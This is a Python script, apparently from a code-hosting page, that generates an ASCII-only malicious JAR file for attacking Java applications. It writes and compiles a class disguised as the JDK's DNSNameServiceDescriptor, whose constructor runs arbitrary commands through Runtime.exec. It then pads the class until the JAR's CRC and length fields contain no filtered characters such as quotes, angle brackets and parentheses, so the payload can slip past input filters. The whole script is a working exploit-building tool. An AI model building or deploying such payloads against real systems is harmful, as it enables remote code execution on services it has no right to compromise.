1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
|
import time import os from compress import *
allow_bytes = [] disallowed_bytes = [38, 60, 39, 62, 34, 40, 41] for b in range(0, 128): if b in disallowed_bytes: continue allow_bytes.append(b)
if __name__ == '__main__': padding_char = 'U' raw_filename = 'DNSNameServiceDescriptor.class' zip_entity_filename = 'sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class' jar_filename = 'ascii01_3.jar' num = 1 while True: javaCode = """ package sun.net.spi.nameservice.dns; import sun.net.spi.nameservice.NameService; import sun.net.spi.nameservice.NameServiceDescriptor;
import java.io.IOException;
public final class DNSNameServiceDescriptor extends Exception implements NameServiceDescriptor { private static final String paddingData = "{PADDING_DATA}"; public DNSNameServiceDescriptor(String message) { try { Runtime.getRuntime().exec(message); } catch (IOException e) { e.printStackTrace(); } }
public NameService createNameService() throws Exception { return null; }
public String getProviderName() { return "sun"; }
public String getType() { return "dns"; } } """ padding_data = padding_char * num javaCode = javaCode.replace("{PADDING_DATA}", padding_data)
f = open('DNSNameServiceDescriptor.java', 'w') f.write(javaCode) f.close() time.sleep(0.1)
os.system("D:\\JavaEnviron\\jdk1.8.0_65\\bin\\javac.exe -nowarn -g:none -source 1.8 -target 1.8 -cp jasper.jar DNSNameServiceDescriptor.java")
raw_data = bytearray(open(raw_filename, 'rb').read()) compressor = ASCIICompressor(bytearray(allow_bytes)) compressed_data = compressor.compress(raw_data)[0] crc = zlib.crc32(raw_data) % pow(2, 32)
st_crc = struct.pack('<L', crc) st_raw_data = struct.pack('<L', len(raw_data) % pow(2, 32)) st_compressed_data = struct.pack('<L', len(compressed_data) % pow(2, 32)) st_cdzf = struct.pack('<L', len(compressed_data) + len(zip_entity_filename) + 0x1e)
b_crc = isAllowBytes(st_crc, allow_bytes) b_raw_data = isAllowBytes(st_raw_data, allow_bytes) b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes) b_cdzf = isAllowBytes(st_cdzf, allow_bytes)
if b_crc and b_raw_data and b_compressed_data and b_cdzf: print('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char)) output = open(jar_filename, 'wb') output.write(wrap_jar(raw_data, compressed_data, zip_entity_filename.encode())) print('[+] Generate {0} success'.format(jar_filename)) break else: print('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char)) num = num + 1
|